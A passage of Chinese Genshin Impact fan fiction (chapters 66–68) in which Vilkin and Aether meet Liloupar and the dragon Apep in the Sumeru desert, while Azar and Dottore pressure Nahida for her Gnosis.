一个一个点名:“尘世七执政, 我,以及维系者。这里是须弥,三王已去其二,算来算去也只有布耶尔还能在地脉之花中为我们留下提示。” 这个解释非常合理,但是空还有疑问。 “那魔神死后的余威不是会对周遭环境产生巨大的影响吗?既然是大慈树王, 死后产生的力量应该足以将整个须弥的沙漠都变成绿洲才对,可地脉之花里也没有相关的记录。甚至连异常都没有多少。” 空可没有忘记,只是奥赛尔五分之四的、用来模拟魔神死亡后所产生的威力, 就几乎榨干了凝光群玉阁的所有防御性阵法。最后要不是散兵带着愚人众士兵及时赶到支援, 钟离先生和维尔金之间赌约的结果恐怕就会完全反过来。 那这位负责看守世界树的草神布耶尔,既然是正儿八经的尘世七执政,其死后所爆发的力量应该比战败者奥赛尔要强得多, 总该在地脉之花里留下记录才是。 还有, 奥赛尔造出的动静都能够吸引到远在天空岛批改公文的维系者注意力, 一位神明执政官的死亡, 更不会如此寂静无声。 维尔金猜出了一部分原因。 “坎瑞亚灾厄时期, 其余六神感知到诏令集结于坎瑞亚,而布耶尔则前往守护世界树。恐怕就是那之后,世界树出现了某种连她都无法解决的麻烦,甚至到最后, 连她自己都搭了进去……” 从目前提瓦特运行的状况来看,世界树还没有到需要砍了重种的地步。 如果布耶尔的解决方案是让世界遗忘她,那么就能证明,世界树还能用——至少删除功能还能用。 维尔金为呲着大嘴的地脉之花凝出一个巨大的冰块,炽热的太阳灼烧着沙地上的一切,冰块散发着森森寒气,为辛苦工作的地脉之花提供了免费的空调。 地脉之花抖擞精神,用巨大的花盘蹭了蹭一人高的冰块,随即又摇头晃脑地发散出金色的光芒,在沙地中凝出一条长长的、盘得像一圈蚊香的蛇。 地脉之花抽出根须,戳了戳空手上的卷轴,又指了指略显抽象的大作,随后不等空询问,地脉之花抱着赏赐的冰块一溜烟又夺回了地下。 “怎么这么快就跑了?” 空半蹲下,看了眼地脉之花消失后留下的小孔,犹豫了一下,还是向名义上地脉之花的主人们,维尔金征求了一下意见:“介意我再把它拔出来吗?” “地脉之花盛开绽放的时间是有限的,生成完记录报告后它们的力量就所剩无几,必须要回归大地、汲取地脉力量以积攒力量。” “不过,它已经给了我们足够多的提示——” 维尔金指向还遗留在沙地的地脉之花抽象画作。 “还有一个自始至终待在须弥地底、且不愿离去的家伙。如果她一直坚持每天监视布耶尔的话,或许能够告诉我们有关她的一切。” “监视?” “是的,监视。” 维尔金深深叹了口气。 “阿赫·阿佩普。尼伯龙根的死忠,保守估计恨我恨了半辈子。” 但阿佩普和若陀那种,因为挚友是尘世七执政而变得略显扭曲的厌恶感不同,阿佩普自认为自己才是须弥的真正统治者,对战败后由后来魔神所建立的秩序极为不齿,甚至还有为了迎回尼伯龙根追逐世界之外力量的记录。 被维尔金亲自降下的天钉所制裁、失去了引以为傲的翠绿色身体后,有自知之明的阿佩普潜入了漫天的黄沙。 作为原生的强大古龙,阿佩普的身躯内自成一套自然体系,甚至能能够繁衍出微小却蕴含智慧的元素生命。也正是因此,维尔金没有将她赶尽杀绝。 在主动蛰伏地下后,维尔金便睁只眼闭之眼,放任这条货真价实的前朝遗老盘在了须弥—— 所以说若陀说他心狠手辣这件事,维尔金是不认的。 他自认为已经足够宽宏大量。 不过换位思考,维尔金也不觉得阿佩普会老老实实坦然告诉他们有关布耶尔死亡的来龙去脉。 毕竟,她真的相当讨厌魔神和天空岛,只是对人类的态度还算得上友好而已。 “那我们要不要带点伴手礼?” 空理性分析:“你看,虽然若陀当时的脾气态度也很差劲,但是一看到钟离先生不久什么架子都不摆了吗?就算是龙,这么多年过去了,如果带点伴手礼过去,应该也能够坐下来好好谈谈。” “伴手礼……早知道从天空岛上顺点下来了,要不我现场揪一根羽毛下来送给阿佩普?” “会不会有点太随意了?‘千里送鹅毛,礼轻情意重’是没错,但是自己身上的羽毛应该不能算千里吧?” “那就给她带点天空岛土特产吧!” “你要再回一趟天空岛吗?” 维尔金摇摇头:“这倒是不用这么麻烦,我知道附近就有不少当年阿蒙下界时候带来的天空岛特产,随便找点能让一条变成土黄色的草龙喜欢的东西就好。” 听上去又是非常抽象的概念,但空对此表示他已经习以为常。 “先去最近的神殿,让我看看阿蒙究竟顺了多少我多少东西下界。” 维尔金撕开空间裂缝,将坐标确定在了据他们最近的一处遗迹。 阿蒙建造的神殿太多,里面的机关随随便便就能让试图寻找宝藏的冒险家血压上升。 维尔金不懂解密,但他比较懂暴力拆卸。 阿蒙绞尽脑汁设计的三角形光棱机关? 拆了! 混进来的不知道从哪里来的魔兽? 撵走! 没有找到正确的机关开启顺序,也没有找到钥匙导致无法开启遗迹内部的大门? 轰开—— “真要我说,这个门没我卧室房间防一手维系者突然闯进来的那道门严实。” 维尔金拍了拍身上的灰尘,可怜的门框还在辛辛苦苦地发挥作用,但面对已经打定主意进来的天空岛之主,神殿的大门只能起到一个造型上的作用。 “我觉得已经差不多了。”空扣下大门下藏着的金色摩拉,他现在手上不仅有巨大赤王标志的古董,还有一些零零碎碎、看起来格外精美的瓶瓶罐罐。 得亏背包空间足够多,不然空搬空遗迹的计划怕是要落空了。 进入遗迹的最核心之处,盎然的绿意展现出其勃勃的生机。同外面死气沉沉黄沙漫天的景象不同,这处小小的遗迹之内,居然还埋藏着类似绿洲的宝地。 参天的巨树舒展了它的枝桠,维尔金走向前,周围的植物似乎动了一动。 几个被激活的元能构装体机冒出红光,但还没来得及开机启动,就被维尔金以管理员的权限直接将其停机瘫痪。 赤王的技术来源于天空岛,对普通冒险者而言格外麻烦的元能构装体机,在维尔金这里只是一摊冰冷的零件。 “我看看,这个能不能拿来当伴手礼——” 空捡起发光的瓶子,外面的古董虽然看上去精美完整、价值不菲,但对于一条被天理逼到只能龟缩隐藏的古龙而言,那些东西毫无价值。 这片遗迹的内部和外部环境格格不入,唯一的不同点就是这个跟发光瓶子一样的东西。 空拾起瓶子。 很快,树木失去了翠绿,如同被断开地脉生机的大地,迅速呈现出一片枯黄之色。 莹莹的绿光汇入了空的手中,准确地来说,是整个洞窟内的生命力尽数被纳入一个小小的魔瓶。 魔瓶发出微微的黄光,漂浮在半空之中。 维尔金看着漂浮的镇灵,若有所思: “阿蒙这小子还挺有想法,我觉得要是把这个送给阿佩普的话,说不定解决了苦恼她多年的皮肤变色问题之后,能够稍微态度好点?” “不妙不妙,我似乎听到了阿赫玛尔那个混蛋的真名……是熟悉的旧友,亦或是前来拯救我的镇灵同胞?” 漂浮的镇灵随着声音的传出一闪一闪,似乎是通过气息辨认着维尔金以及空的身份。 “远方的,不识得的香料气息……只存在于古老久远之回忆的寒冷气质……” 镇灵闪烁了一下,流露出怀念的语气: “一位流亡异乡的王子,以及强大的国王——真是令人心旷神怡,将我从这卑贱的沙子里拾起的,居然是如此尊贵之人。这可比一觉醒来看见沙漠奴才的臭脸好上不上——” “我是,但维尔金应该……” “利露帕尔。” 镇灵没有理会空的未尽之言,重复了一遍:“二位大人,叫我利露帕尔就好。” 利露帕尔并不在乎眼前二人额身份,她已经被封印得太久,甚至于对时间的流动已然失去概念。如果眼前的二人是了解赤王与女主人的存在,那么她相信,在她的指引下,他们会将她带回女主人的沉眠之所。时间已经过去了太久,她必须让她愚蠢又固执地姐姐从赤王的花言巧语中清醒过来,讲那些所谓 “利露帕尔,利露帕尔……” 维尔金喃喃。 似乎只差临门一脚,这个念起来极其熟悉的名字就能够勾勒出一个具体的形象。对信仰阿蒙的沙漠人没什么好脸色,但是意外地很会吹捧人。在记忆的角落里,千年前花神身边的侍女的面庞同眼前弱小又毒舌的镇灵之瓶对上了号—— “我想起来了,娜布的眷属,那时候我在天空岛上还见过你。” 一时之间,维尔金颇有些百感交集。 他看着一闪一闪,颜色逐渐由黄变蓝的镇灵,不知道是该感慨,还是该叹息—— “短短两千年,不仅娜布和阿蒙都死了,就连你们也变了不少。” 第66章 第 66 章 阿佩普之名 那是比人类的足迹遍布地表更为远古的时代。 赤王尚不曾因触怒天空的主人贬绌至荒芜的沙漠, 尊贵的女主人也未因执着于世界之外的奥秘而香消玉损。 云层托起的孤岛高居于世界的中心,开明的僭主应允天上的神使为地上的人类降下神迹,神明所过之处, 骇人的恶兽被屠戮殆尽, 贫瘠的土壤变得肥沃, 树上结出甘甜的果实, 人类依附于神明, 日子却是那么的美好幸福。 然而,人类那该死的好奇心让他们觊觎起天空的乐土,甚至窥见了真实的一角。 一切戛然而止,空间的执政谨遵天空的赦令,天上的赏赐被执政者们一一收回, 被授予指引人类之职的神使们也在天空之主的命令下相继离开天空岛,赤王和女主人也相继来到须弥。 利露帕尔甚至怀疑这又是姊妹们为了惩罚她而捏造的梦境,只要她向天空的尊主拜服, 她们就又会驱动欺骗了她们所有人的赤王留下来的权能, 再度把她镇压在地下。 利露帕尔有些迟疑,她不敢试探天空岛的主人,哪怕只有万分之一成真的可能性, 她也不能冒着触怒喜怒无常之僭主的风险, 去试探她。 吸收了被封印于此的力量之后, 稳定了心神, 利露帕尔又恢复到原本的淡黄色。 “尊敬的主人, 感恩您的仁慈,利露帕尔只是女主人身边最微不足道的一名仆人,能侥幸存活至今已是命运的仁慈,哪还敢追求外壳的不变——此番您亲自下界, 还请饶恕沙海生灵的沉寂。” 利露帕尔小心翼翼的观察二人表情,竭力婉转地向天空岛的主人解释须弥沙漠地区变成这幅模样的原因。 “赤沙的王在女主人死后便无心管理人类之国,他试图建造绿地上的国中七国,又许诺我们会将女主人复活,甚至将我们的大敌,尼伯龙根的追随者草之龙阿佩普纳入自己麾下……” 利露帕尔暗戳戳地对阿蒙的贬低被维尔金左耳朵听完就赶出右耳。维尔金精准得抓住了刚刚苏醒就为他带来宝贵信息的关键词,一脸的疑惑: “阿佩普居然会愿意当阿蒙的眷属?” ——阿蒙那家伙,下界之后居然跟阿佩普打好了关系吗?而阿佩普居然也口嫌体直正地真做了阿蒙的眷属? “草之龙没有接受赤王的册封,但赤王死后,她又再度出现,将赤王的遗体连同他获取的禁忌知识一并吞噬……”利露帕尔趁热打铁,她已经完全相信眼前这位存在的身份。她那一无所知的姊妹们对这片土地曾经的统治者草之龙阿佩普的性格一无所知,眼前的无疑就是天空岛的主人。 想来,祂应当是为这位古龙当年所获的禁忌知识而来。 利露帕尔猜对了一半,维尔金的确为阿佩普而来,镇灵的告状又弥补了因为布耶尔的隐瞒导致维尔金信息不全的问题。 “阿佩普现在在哪?” 维尔金直接问道。事已至此,别说是给阿佩普准备伴手礼了,没扎两根天钉已经是属于维尔金脾气被繁重的公务磨练得太多,放在以前,这片沙漠高低得被扎到需要他重新修补地脉的程度。 亏他还以为她这么多年来都老老实实地窝在地里跟体内的细胞们玩过家家。原来大的在这里等着他。 空捏住杯子,探头看了眼似乎是被什么堵塞住的镇灵,“嘶……既然是活物的话不太适合用来当礼物吧?” “哦呵呵呵呵……远道而来的王子,面对古龙,您不必过于谦卑,在天空的主人面前,小小的阿佩普也不过是匍匐在地的蝼蚁,何须用礼物讨好——尊贵的主人,阿佩普就躲在达马山西北方的地下,你是要亲自出征,教训这个家伙吗?” 维尔金不置可否。 “我有问题要问她——而且在这之后,我还需要去见一见如今统治着须弥的新任执政官。” 维尔金从来不畏惧直白的反抗。他更担心来自友方的反戈一击,或者是混入他们之中的深渊扈从。 尼伯龙根也好,七十二魔神也罢,都是明面上的问题,直接用法则覆写、用力量让他们臣服,让规则作为枷锁即可。 维尔金凝重地看向枯萎的巨树枝桠,来自须弥执政官的述职报告两千前来从未间断,下界前维尔金刻意检查过须弥递交的文件报告,行文逻辑、签名完全一致,但根据地脉之花的记录,布耶尔应当早就死去才对。 那现在准时提交的报告,又是谁的手笔? 这位新任的草之神,为什么不主动前往天空岛向维系者述职备案? 可惜利露帕尔也被封印太久,不然的话,娜布的眷属一定会对他知无不言。 维尔金叹息,但好在,娜布的眷属知晓阿佩普的精确坐标。 这倒是省了不少事情。 维尔金对阿佩普印象颇深。或者说,他对世界创立之处挤占了提瓦特顶端生态位的龙们,印象都比较深刻。 阿佩普也是其中一员。 在身躯尚被翠绿所覆盖之时,阿佩普就曾在第二次大战落败后继续试图寻找击败天空之僭主的方法。她将目光投向漆黑的禁忌知识,不料远在天空岛的僭主察觉到了她的动作,竟然不惜通过毁灭须弥的生命力来阻拦她的行动。 后来,毁灭了地表生机的僭主在须弥地界大开杀戒,凡是不愿听从他的意愿陷入沉睡、或是前往暗之外海的长生种们几乎被驱赶至此,屠戮殆尽。 阿佩普知道,这是来自天空的警告。 警告她不许再有额外的心思,提醒她这些长生种皆因她胆大妄为的试探而死。 于是,阿佩普陷入了沉寂。 直到被驱逐出天空岛、成为须弥三王之一的阿蒙找上了她,他们做了一个交易——阿佩普提供领土,阿蒙可以在此趁着僭主为缓解饥饿而陷入沉睡时,研究世界之外的力量,以反抗暴君任性妄为的统治。而作为交换,阿蒙必须在身死之后将一切交给阿佩普——他的神躯,他的力量,以及所有世界之外力量与知识的成果。 这是多么的令龙心驰神往。 但她没想到,僭主埋藏在阿蒙体内的“钥匙”,那个名为“爱人”的枷锁居然发挥了作用。阿蒙机关算尽,居然只是为了让她吞下这团漆黑的禁忌知识,避免灾难继续蔓延下去。 她很虚弱,但是有格外清醒。 世界之外的禁忌知识蚕食了她的冷静,折磨和痛苦让阿佩普难以再度重回巅峰时期的战力。 现在的她,被那些知识折磨得近乎发疯,但仍保留一丝神志。 因为阿佩普还清楚地记着布耶尔的承诺。 大慈树王说过,她会来解救阿佩普,她已经有办法清楚禁忌知识。 阿佩普不信任魔神,但她体内的状况已经越来越糟糕。禁忌的知识腐蚀了古龙的身躯,破坏了她体内的安稳环境。 已经有许许多多她体内的孩子们离开沙漠、是去到大慈树王治下的密林了吗? 她不知道。 阿佩普将这些从自己身躯中诞生的孩子们视若珍宝,而她却已经无力阻止来源于身体内部的溃烂。 或许此时的离开,才是最正确的选择。 是阿蒙算计了一切,害得她沦落如此。 禁忌知识几乎摧毁了阿佩普的身体,末日的风暴在巨龙的体内喧嚣造作,人、神、龙、走兽、飞鸟与游鱼……所有记忆、智慧、话语与仇恨被磨为尘粉,落在荒土之上。 它已经对终末缺乏颜色的景象感到厌倦了。 草之龙阿佩普辗转反侧,禁忌知识的侵蚀体无孔不入,就连作为世界的法则,那个僭主为长生种们赦免的沉睡之法,面对禁忌知识的折磨也收效甚微。 而今天,无人造访的地底世界迎来了一个阿佩普这辈子都不想再度看见的敌人。 “好久不见,阿佩普。” 维尔金看了眼挣扎着从洞穴内爬起,警惕着看向自己的阿佩普,淡淡道: “你看起来状况不是很好,是世界外的知识让你被折磨至此。我说过,不要在提瓦特内随意触碰世界之外的存在,就这么安安稳稳的,对大家都好。” 维尔金在同法涅斯一起完善世界构成的时候为世界设立的法则,让提瓦特免受禁忌知识的打扰。但尼伯龙根携带世界之外的力量试图打败他终究还是让有心人们产生了许多不该有的心思。 本体作为蛋壳包裹着提瓦特的维尔金只需要一眼,便能够洞察折磨阿佩普的禁忌力量的本真面目。 阿佩普挣扎着,向不可一世的僭主发出徒劳的嘶吼: “为什么是你——天空的僭主,你为何不请自来?高贵的龙族不需要你假惺惺地怜悯!!” 维尔金没有理会草之龙的暴怒。 “我今天心情一般,你只需要回答我的问题。” “告诉我,这五百年来,你见到布耶尔了吗?” “你说什么?——等等……”阿佩普似乎是突然想到什么,甚至顾不上仇敌就在眼前,不住地喃喃道: “怪不得,怪不得布耶尔一直不来……我以为她失约,原来是已经陨落……连自己下属的生死都一无所知,任性妄为的僭主已经沦落至此了?” “你什么都不知道?”维尔金问。 半晌,阿佩普缓缓开口: “阿蒙害惨了我们。” 阿佩普叹气,面对布耶尔和阿蒙,她尚有一战之力。但面对维尔金,最多只能在口头上沾沾风头。谁都清楚,一旦触碰到天空岛之主的逆鳞,天罚将告诉他们何为绝对的力量。 当年僭主的寒天之钉便让整个须弥从郁郁葱葱的密林化作了无生机的黄沙,就算如今存活在须弥地表的大部分都是人类,阿佩普也不敢去赌天空岛之主的耐心。 她对古龙们不得不面对的最强之敌坦然承认了一切——从与阿蒙交易,在他死去后吞食她的身体以获得世界之外的力量,再到被算计至此,不断地凭借草之龙的本源力量强行消化体内的禁忌知识。 说完一切后,她自嘲: “如何,看到你的敌人们沦落至此,心中是不是无比的畅快?” 维尔金摇了摇头。 “如果我想要把你们赶尽杀绝,我早就动手了。至于你,阿佩普,你现在还敢用这种语气跟我说话,何尝不是仰仗规则的宽容?” 四十个冬天的确埋葬了火,四十个夏天的确也沸腾了海—— “可我同样令暗之外海接纳了反叛者和不从者。” “我所制定的规则,从来不是死路一条。” “更何况,这个世界也根本承载不了长生种永世的繁盛。” 第67章 第 67 章 起猛了,阿佩普替七神向…… “这只是你的一家之言, 黑王承诺了一切。” “阿蒙也承诺了给你世界之外的知识,阿佩普,你还真是记不住一点教训。难道说只要是个提出反叛计划的家伙, 随随便便吹嘘一番他们有击败我的可能性、将世界之外的力量描绘得神乎其神, 你就愿意放下身段、成为他们的走狗?” 僭主虽然不是什么好人, 但阿佩普不得不承认, 这句话确实有道理。甚至于, 阿佩普原本还不太清醒的情绪,也因为维尔金这段话强制性好好冷却下来。 “而且你这么做也是无用功,尼伯龙根的失败已经证明了一件事——” 维尔金顿了顿,金色的双眸直勾勾地盯着无比愤怒的阿佩普,一字一句道: “深渊、天空之外的禁忌知识、以及你们, 都不是我的对手。” 如此猖狂!如此狂妄! 狂妄的僭主每一个字都在跳动阿佩普脆弱地神经,但是她却无法反驳,甚至连回骂过去都做不到。 因为这就是事实。 阿佩普掰着龙爪数完她所有能够想到的存在, 也找不出一个能够战胜眼前天理的存在。 她将目光微微偏移, 竖瞳盯着僭主身边的、那个眼生的降临者。 他会是新的希望吗? …… 空喜欢龙,但前提是,那条龙不能动不动就辱骂他的朋友。 所以在被问到如何看待移花接木、把阿佩普的意识嫁接到元素生物的身躯以将其带到外界的想法时, 空表现出了难得地抗拒。 "维尔金, 就这么把一条龙的意识体带出来真的没有问题吗?我看阿佩普好像很不乐意的样子……" “阿佩普吞下了阿蒙的躯壳, 虽然本意是坏的, 但结果上看, 她确实也算为替须弥阻挡了一次灾难。” 维尔金倒不担心阿佩普会试图在须弥搅动风雨。在绝对的力量差距面前,任何的阴谋诡计都无法奏效。 “先说好,我可没有甘愿成为你的走狗。” 阿佩普闷闷不乐,作为元素生物的顶点、一切草木最古老的主宰者, 要是被那群后辈们知晓,就连她这个最古老的草之龙都向阴险的天空岛之主低下了高贵的头颅,尼伯龙根千万年的颜面,岂不是被天空岛直接踩在脚底? “别害羞嘛,反正尼伯龙根没有一条龙打得过我,而且你现在的用的可不是草之龙的身躯——” 维尔金拍了怕手上的灰尘,对生命的创造有着极为独到见解的天理大人拍了拍手上沾染的沙子,得意地将结合了阿佩普意识的大作展现给在场的所有人。 一只有小半人高的翠绿浮游草蕈兽出现在空旷的沙地。另一边,失去意识和灵魂的龙王身躯本能地蜷缩其本体,将头颅和脆弱的连接处隐藏在厚实的身躯之下。 这只大得惊人的蕈兽仰头看了看自己巨大的伞盖,委婉地提出一个小小的针对性修改措施: “僭主,这个伞盖是不是有点太大了?” “蕈兽毕竟是由孢子构成的拟态元素生物,人家的伞盖天生就长成这个样子,你就不要对它们的外表指指点点了。” 维尔金驳回了阿佩普的修改方案,接着说道,“更何况,异常的蕈兽容易吸引人类的目光,你现在这副模样就正好。” 阿佩普对着利露帕尔端在空中的水镜,最终,她闭上眼,接受了伟大的龙族为了生存不得不屈服于这该死的规则。只能用蕈兽这样渺小生物的身份,卡着规则的漏洞出现在提瓦特大陆。 若不是为了解决禁忌知识对她本体造成的伤害…… 阿佩普看了眼已然进入休眠状态的本体,就算她再怎么不愿意承认,如果抛开立场问题,天空岛之主的确是不可多得绝佳盟友和交易对象。令她几乎无法再安然入睡、甚至连身体内的元素生命都开始接二连三被污染、毁灭的禁忌知识,天理居然也有办法能够暂且压制。 “别想了,你的本体力量同禁忌知识融合得太深,如果按照老办法拔除,你一定会疯掉的。”维尔金拍了拍望着自己那庞大躯体蕈兽版阿佩普,柔软的伞盖还颇有弹性地发出“噗叽”的声音。 阿佩普生气地旋转着伞盖从这个没有一点边界感的天空岛之主身边离开。 讨厌归讨厌,阿佩普再凶恶,对于不计前嫌亲自下界拯救宿敌的天空岛之主,还是拉不下脸来继续阴阳怪气。 在今天之前,阿佩普平等地瞧不起每一个仰仗着僭主的威光才能在地上作威作福的魔神,但今天之后,阿佩普不得不承认—— 天理虽然凶残,却实在可靠。 维尔金不知道眼前的阿佩普已经在心中为自己贴上了一个“残忍但可靠”的标签。他只是发觉,眼前的草之龙内芯的蕈兽转了转橙汁一样的眼睛、似乎是说服了自己后,连身上的戾气怨气都消散了不少。 “多谢——但是我不会感激你的。” “有的龙跟你们太过亲近,已经忘记了世界被夺走的仇恨;有的已然战死,只剩骸骨;有的因为伤痛而选择了逃避,但是,天空岛的主人,行「僭主」之职的虚假天空啊——” “我不得不承认……” “你确实是爱着这个世界、爱着这世界上的所有人类。” “多谢,能从你的口中听到些许好话可真不容易。” “别误会,我只是有些担心布耶尔。” 阿佩普闪烁了一下,终究还是趁着维尔金忙着修缮因为禁忌知识被摧毁得不像样子的居所,在眼前小小的人类脑海中提醒道: “……不属于提瓦特的客人,你可不要被这个家伙的表象所欺骗,僭主绝非你见到的那样心思单纯,祂真心实意爱着的生物也唯有人类而已。如果你有幸见到日月的前事情,你就会知道,曾经,也有一位同他亲如挚友的降临者被……” “我相信维尔金的本性。” 空阻止了阿佩普继续下去的未尽之言。 空愿意相信维尔金。 “为什么?我看见了你脑海中的记忆,你应当知晓,祂曾是一个多么残忍的神明,祂将地上的长生种们驱赶至暗之外海,又分化七十二魔神,命令他们必须角逐出最后的胜者以佩戴七顶王冠;祂还为世界设下了诸多限制和规则,凡是解除地底的深渊和天空之外的禁忌知识的生命,统统会被他处以极刑——” “你说的是哪些遥远到我从未见到的过去。” 空看向没空理会他们,专心清理禁忌知识污染痕迹的维尔金。 “我眼中的维尔金,对待下属宽和友善,认真负责,虽然偶尔在一些奇怪的方面不是很靠谱,也很没有常识,但是会认认真真地考虑每一个人的感受。” “如果你看见了我的记忆,那你应该也能见到,在龙脊雪山,维尔金给予了杜林全新的未来,在璃月,维尔金接受了钟离先生的交易;而在稻妻,他为了那些遭受不公的人出手,后面也并没有因为勘定奉行的家族是人类就对他们网开一面,而是对他们施加应有的惩罚。 不仅如此,有心之人弄出来的麻烦、比如层岩巨渊的深渊淤泥,以及赤王弄出来的禁忌知识,到目前为止,维尔金几乎是勤勤恳恳地给每一个出现问题的地方打上补丁。 空亲眼见过天空岛的现状,那就快要堆成小山的公文哪怕是最负责的书记员恐怕也要面露难色,地上随处可见的地脉之花也在时时刻刻尽职尽责地记录提瓦特的情况。甚至就连五百年前维系者拦下他和荧离开提瓦特的行径,也是纯粹的工作——空甚至还感慨了一句维系者的效率之高,他可是一醒来就被荧拖着要离开,就这居然还被维系者拦下,足以见得天空岛平时对于保护提瓦特这方面是多么的尽职尽责。 “所以我会相信维尔金。” 空平静地说道。 “你会后悔的……降临者。” 阿佩普留下比起警告更像是挑拨的话语之后,就不再出声。不似无知蕈兽的、属于元素生物顶端的巨龙双眸安放在蕈兽的身上虽然显得有些古怪,但阿佩普屏气凝声后,看上去就像是一只真真正正的、只是因为营养太好才长得过于巨大的蕈兽了。 “累死我了。” 辛苦清理完污染的维尔金扭动着脖颈,抱怨道:“我真佩服你,阿佩普。这么多年硬挺着不发疯,也是辛苦你了。” 阿佩普没有说话,只是摆动着伞盖,像是对维尔金的话语表示认同。 利露帕尔赶紧凑上前,这条莫名其妙混进队伍的草之龙不出声正合她意,谄媚的镇灵将幻化在半空之中的须弥地界俯瞰图显示在正中间,将那道由褐色和绿色共同绘制出的分界线圈出。 “尊贵的主人,这里便是沙漠和雨林的分界线,跨过这最后的防沙壁,草神治下的雨林、人类的城邦,便近在眼前!” 说完,利露帕尔还不忘暗戳戳地讽刺远在须弥高枕无忧,对维尔金现身须弥毫无反应的草神,不悦道: “这一届草神真是没有礼貌,感知到您的降临居然不亲自跪拜迎接,她难道是不把天空的威严放在眼里吗?” “不……祂应该不是有意为之,恐怕确实是无法前来。” 阿佩普倒是难得地开口,为着那个已经不是布耶尔统治的须弥说情—— “我时常能够在沙漠的边缘中感知到梦境的权能。起初我是认为,布耶尔遗忘了我们之间的约定,但在约定的作用下依旧保留着些许印象,才会在沙漠的边缘徘徊不止。” “僭……天空岛之主,希望你不要被这阴险狡诈的小人之言所蒙蔽,误认为草神有不臣之心。我怀疑,新任的草神,极有可能同样处于被禁忌知识污染的边缘。”—— 作者有话说:阿佩普其实不知道小草神怎么了,但她知道拿禁忌知识当借口,维尔金就一定不会责怪小草神。 第68章 第 68 章 天空之外的污染 “谁知道布耶尔是不是跟这条老龙私底下有什么肮脏的约定?” 利露帕尔推己及人, 合理揣测了一番阿佩普难得好心一回,替布耶尔说话的用意。 “猜这么多干什么?直接打个电话,我问下这位新任小草神为什么不向天空岛及时汇报职务更替一事, 不就好了?” 很快, 阿佩普就见识到了这位尼伯龙根之宿敌的高超行动力。 维尔金理所当然地拔了一根肋骨下来。 虽然降临者骨灰压成的那根肋骨他至今还没有找到究竟是放在哪里。但在须弥境内, 就先将就着用用。 维尔金面不改色地扯开衣领, 徒手将手伸进胸膛, 径直掰下一根原装的肋骨。鲜血顺着手臂滴落,那根从血肉之躯掏出的肋骨却好似没有沾染半分的血腥。仔细看上去,肋骨并不是如同石灰一样的灰白,随着维尔金握着的那根肋骨的角度偏移,散发出琉璃一般的光辉。 不像是某人的骨骼, 反倒是像一件久存于世的珍宝。 维尔金按照惯例,直接注入血液,连接上草神神之心上的信号。 净善宫内, 小吉祥草王警惕着看着被大贤者带入须弥核心地带的愚人众第二席执行官, 紧紧握住手中的神之心。 真是可笑,作为须弥的神,居然同时被异国神明的下属和自己国家的人类统治者威胁。 她这个神明, 果然做得很失败。 阿扎尔伸出手, 面对自己国家的神明, 他看上去比至冬国的第二席执行官还要不敬畏神明的威严。 “不要浪费时间, 把神之心交出来。” 纳西妲呼吸一滞, 心脏如被一双大手揪住一般地疼痛。 她从未想过,居然是阿扎尔亲自引狼入室、带着愚人众来夺取她的神之心。 她知道大贤者一直对弱小的自己极为不满,她知道大贤者心中的草神是如大慈树王那样智慧的明君。 可是,她就这么不称职吗?不称职到自己的子民不惜引狼入室, 也要夺走自己的神位? 纳西妲压下心中的悲伤,定定地看着眼前理应辅佐她、将须弥带向繁荣与昌盛的人类,轻轻开口: “引狼入室、倾心外人……阿扎尔,这也是你作为大贤者的想法吗?” 纳西妲看向大贤者阿扎尔,水雾弥漫过后的清澈眼瞳中弥漫着深深的不解:“你已经是须弥实际上权力的掌控者,为什么还要私底下联络至冬?” ——哪怕纳西妲被囚禁在净善宫、哪怕她在教令院许多人眼中存在的意义就是用神之心供给虚空系统的运作,她也不曾有半分怨言。她每天都在净善宫努力地汲取知识,她希望有一天,自己能够向那位前代的大慈树王一样,成为一个让须弥的每一人都能挺起胸膛、自豪地宣扬自己名讳的神明。 “小吉祥草王,你果然完全不能我们伟大的计划理解,不过也是,一个弱小的神明怎能够理解以人之力创造神明的伟大?” 阿扎尔陷入了回忆。 “羸弱的幼苗怎能够同参天大树相比拟?我曾经亲眼见证过大慈树王的智慧与威能、也曾在历代贤者的传承之下,见证过智慧之神对须弥上下那无与伦比的精妙设计和构想。所以我敢断定,像你这种稚嫩的、幼稚的神明,是无法带领须弥继续前行的。” “小吉祥草王,倘若你还有那么一丁点为须弥人着想的本能,你就应该肩负起作为神明的担当,而不是为了一己私欲,将神之心牢牢把控在自己手里。比起你,我们的新神才能够带领我们走向智慧的殿堂!” 阿扎尔上前一步,伸出手—— “为了须弥,把神之心交出来!” “若是我坚决不给呢?”纳西妲看向从始至终一言不发的愚人众第二席执行官: “你就要让这位异国的愚人众执行官、抢夺须弥神明的神之心吗?” “我相信,智慧的神明绝不会做出愚行。作为一名学者,我也希望对智慧之神,给予足够的尊重与体面——” “我看到了你的自信。”纳西妲抬手,将手中的神之心大大方方地展示出来—— “那如果我现在直接把神之心毁掉,唤醒「天理」的话呢?” “哦?”不易察觉的阴霾从多托雷面具之下的面庞扫过,多托雷不动声色,继续试探纳西妲是否掌握了天理已经苏醒的关键讯息,“你确信,祂能听见你的呼唤?” “「天理」已经沉寂了这么多年,但神之心作为「天理」掌管提瓦特大陆与法则的象征,它的损毁是否会让祂从梦中惊醒,重新引来祂审视的目光呢?如何,愚人众的第二席执行官,要赌一把吗?” 小吉祥草王尚不知晓天理已然苏醒、甚至下界的消息……这很好。 “赌?呵,象征着智慧的神明用来摆托困境的方法居然是赌?” 多托雷嘴角勾起,这位多年前就被驱逐出教令院的、以胆大妄为所著称的学者,像是丝毫不在意神明的威胁一般,异怪地嘲弄明明身为智慧的神明,却不用己身权能抗争的做法—— “没有精确的计算、没有有力的推论,全凭高居于天空之上的那位神灵的一念之差?” “你敢赌吗?” 纳西妲能够敏锐地察觉到,博士的呼吸不可避免地局促了许多。 她的计策奏效了。 被困净善宫、七国消息近乎于被封锁无异的境况,导致纳西妲对于同为尘世七执政之一的摩拉克斯所放出来的“天理已经苏醒并寻找继任”的消息仍然一无所知。拿着摧毁神之心作为护身符的做法,只是纳西妲一次豪赌。 幸运的是,她赌对了。 甚至于多托雷并不敢轻举妄动——在他眼里,小吉祥草王已经不知从何处得知了天理苏醒的消息…… 多托雷已经在脑海中思考着脱身的计划。 他不认为执掌智慧的神明会用“赌”来作为自己最后的手段啊,小吉祥草王必定已经是跳过阿扎尔想办法联系上了天理…… “阿扎尔,看来你的神明并不同意我们的计划。” 阿扎尔皱眉,向自己的盟友询问: “赞迪克,你什么意思?事已至此,难道你还想独善其身、袖手旁观吗?!” “等等,这是……” “闭嘴,阿扎尔。” 多托雷脸色难看,智慧的神明果然狡诈,人不可貌相。就差一点,他就要被小吉祥草王展现的稚嫩所蒙蔽。 